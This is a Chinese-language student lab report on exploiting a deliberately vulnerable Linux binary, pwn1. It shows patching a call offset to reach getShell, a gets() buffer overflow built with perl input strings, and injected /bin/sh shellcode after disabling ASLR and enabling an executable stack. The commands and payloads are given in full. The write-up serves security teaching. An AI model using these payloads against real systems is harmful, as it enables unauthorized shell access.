Exp1 PC平臺逆向破解 20154308張珊珊

Exp1 PC平臺逆向破解1 20154308張珊珊

1.實驗目標

本次實踐的對象是一個名爲pwn1的linux可執行文件。linux

該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell

該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。實踐目標即爲想辦法運行這個代碼片斷。vim

  • 三個實踐內容以下:
    • 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
    • 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
    • 注入一個本身製做的shellcode並運行這段shellcode。
  • 這幾種思路,基本表明現實狀況中的攻擊目標:
    • 運行本來不可訪問的代碼片斷
    • 強行修改程序執行流
    • 以及注入運行任意代碼。

本次實驗主要內容爲經過第一種方法達到實踐目標。windows

2.直接修改程序機器指令,改變程序執行流程

  • 知識要求:Call指令,EIP寄存器,指令跳轉的偏移計算,補碼,反彙編指令objdump,十六進制編輯工具
  • 學習目標:理解可執行文件與機器指令
  • 進階:掌握ELF文件格式,掌握動態技術

2.1 在pwn1文件所在目錄打開終端,備份文件並更改文件名爲學號,命令以下:sass

cp pwn1 20154308

2.2 利用反彙編命令查看該文件的機器指令,命令以下:安全

objdump -d 20154308

從圖中能夠看到主函數中調用位於8048491處的foo函數,對應的機器指令爲e8 d7 ff ff ff,經過猜想可知e8爲跳轉之意。服務器

原本正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但如一解釋e8這條指令,CPU就會轉而執行「EIP+d7ffffff」這個位置的指令。「d7ffffff」是補碼,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29正好是8048491這個值。在這裏進行計算時要注意在計算機內是採用小端模式即低字節優先。dom

main函數調用foo,對應機器指令爲「e8d7ffffff」,那咱們想讓它調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。函數

47d-4ba獲得補碼,是c3ffffff。下面咱們就修改可執行文件,將其中的call指令的目標地址由d7ffffff變爲c3ffffff。工具

2.3 進入該文件的vi編輯模式,命令以下:

vim 20154308

2.4 按一下esc鍵,敲入以下命令,查看其十六進制格式

:%!xxd

2.5 鍵入以下命令,/表示查找

2.6 按一下esc鍵,經過方向鍵將光標移到修改處,按r表示修改,將d7修改成c3

2.7 鍵入以下命令,轉回原格式,並存盤退出

:%!xxd -r
:wq

2.8 再利用反彙編命令查看該文件

objdump -d 20154308

能夠看到,原先的機器指令e8d7ffffff已經改成e8c3ffffff,調用的也是咱們所但願的getshell函數。

如此一來,本次實驗的第一部分就結束了。

3.經過構造輸入參數,形成BOF攻擊,改變程序執行流

  • 知識要求:堆棧結構,返回地址
  • 學習目標:理解攻擊緩衝區的結果,掌握返回地址的獲取
  • 進階:掌握ELF文件格式,掌握動態技術

3.1 反彙編,瞭解程序基本功能

反彙編首先經過反彙編分析該文件,發現該可執行文件正常狀況下是調用foo函數,而foo函數中使用了gets函數,該函數不會檢查用戶輸入的長度,因此咱們能夠經過輸入過長的參數,使超過部分溢出,覆蓋返回地址,形成BOF攻擊,改變程序執行流。

3.2 確認輸入字符串哪幾個字符回覆該到返回地址

調試並運行該文件gdb 20154308 r,接下來即要求輸入參數,咱們嘗試性地輸入1111111122222222333333334444444455555555
執行結果以下圖所示,報錯。

如今咱們經過命令info r查看各個寄存器內的值能夠發現此時eip內的值爲0x35353535,即ASCII 5,也就是說咱們輸入的最後八個5中的某四個覆蓋了返回地址。

爲了進一步肯定是哪四個,咱們從新運行該文件r,並輸入1111111122222222333333334444444412345678,此時能夠發現eip的值爲0x34333231,即ASCII 1234,也就是說上述字符串中的1234最終覆蓋到了堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。咱們只要把這四個字符替換爲getshell的內存地址,輸給20154308,該文件就會運行getshell。

3.3 確認用什麼值來覆蓋返回地址

在以前咱們知道getshell的內存地址是0804847d,加上以前所學在計算機內採用小端優先存儲,咱們能夠肯定須要輸入的字符串爲11111111222222223333333344444444\x7d\x84\x04\x08

3.4 構造輸入字符串

因爲咱們無法經過鍵盤輸入指定的16進制,咱們經過如下命令來完成此操做

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

並經過xxd查看其十六進制格式

而後將input的輸入,經過管道符|,做爲20154308的輸入

(cat input; cat) | ./20154308

此時main函數成功地調用了getshell函數,此時咱們就能夠輸入shell指令了,如圖

4.注入shellcode並執行

4.1 準備一段shellcode

  • shellcode就是一段機器指令(code)
    • 一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),
    • 因此這段機器指令被稱爲shellcode。
    • 在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。

4.2準備工做

修改設置

apt-get instal prelink下載安裝ececstack,不然接下來的命令沒法執行

execstack -s 20154308設置堆棧可執行

execstack -q 20154308查詢堆棧的文件是否可執行

more /proc/sys/kernel/randomize_va_space

echo "0" > /proc/sys/kernel/randomize_va_space關閉地址隨機化

more /proc/sys/kernel/randomize_va_space


4.3 構造要注入的payload

經過構造 anything+retaddr+nops+shellcode 來構造攻擊buf。nop一爲是了填充,二是做爲「着陸區/滑行區」。咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode。

咱們使用以下shellcode

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

並注入這段攻擊buf (cat input_shellcode;cat) | ./pwn20154308

最後的\x4\x3\x2\x1會覆蓋到堆棧上返回地址的位置,下面咱們要肯定返回地址的位置填什麼。

打開另外一個終端,用gdb調試pwn20154308這個進程

  • ps -ef | grep pwn20154308 找到進程號
  • gdb 啓動gdb調試這個進程
  • disassemble foo 經過設置斷點,來查看注入buf的內存地址
  • break *0x080484ae
  • 再另外一個終端裏按下回車
  • 回到原終端,c

info r esp 查看寄存器地址

x/16x 0xffffd3ac 此時看到01020304,繼續縮小範圍,直到找到90909090,即咱們的shellcode開始的地址,即0xffffd38c

找到相應地址後,咱們使用c quit退出調試

01020304的地址是0xffffd3ac,就是返回地址的位置。shellcode就挨着,因此返回地址是 0xffffd3b0,90909090的地址是0xffffd38c,因此shellcode的地址是0xffffd390

(吸收講義上的教訓)咱們將以前的shellcode改成

perl -e 'print "A" x 32;print "\xb0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x90\xd3\xff\xff\x00"' > input_shellcode

前面的32個A用來填滿buf,\xb0\xd3\xff\xff爲返回地址,剩下部分爲shellcode

並注入這段buf (cat input_shellcode;cat) | ./pwn20154308

執行結果以下

攻擊成功!

3.實驗總結

  • 什麼是漏洞?漏洞有什麼危害?
    • 漏洞是在硬件、軟件、協議的具體實現或系統安全策略上存在的缺陷,從而可使攻擊者可以在未受權的狀況下訪問或破壞系統。
    • 漏洞的存在,很容易致使黑客的侵入及病毒的駐留,會致使數據丟失和篡改、隱私泄露乃至金錢上的損失,如:網站因漏洞被入侵,網站用戶數據將會泄露、網站功能可能遭到破壞而停止乃至服務器自己被入侵者控制。
  • 掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼

彙編指令 機器碼
NOP 90
JNE 75
JE 74
JMP eb
CMP 39
  • 在計算補碼的部分稍微有點吃力,須要在課下複習有關補碼知識。
  • 有些指令的含義還不是很清楚,雖然不影響實驗的思路,可是會致使實驗的不暢,須要在課下了解掌握一些基本指令。
  • 對於堆棧存儲方式的學習須要增強。
  • 總之,初次將之前學過的知識以及新知識結合起來並實際運用,對我來講仍是有點困難,可是這也激發了個人興趣,會在課下更加深刻地思考有關本次實驗的原理。
相關文章
相關標籤/搜索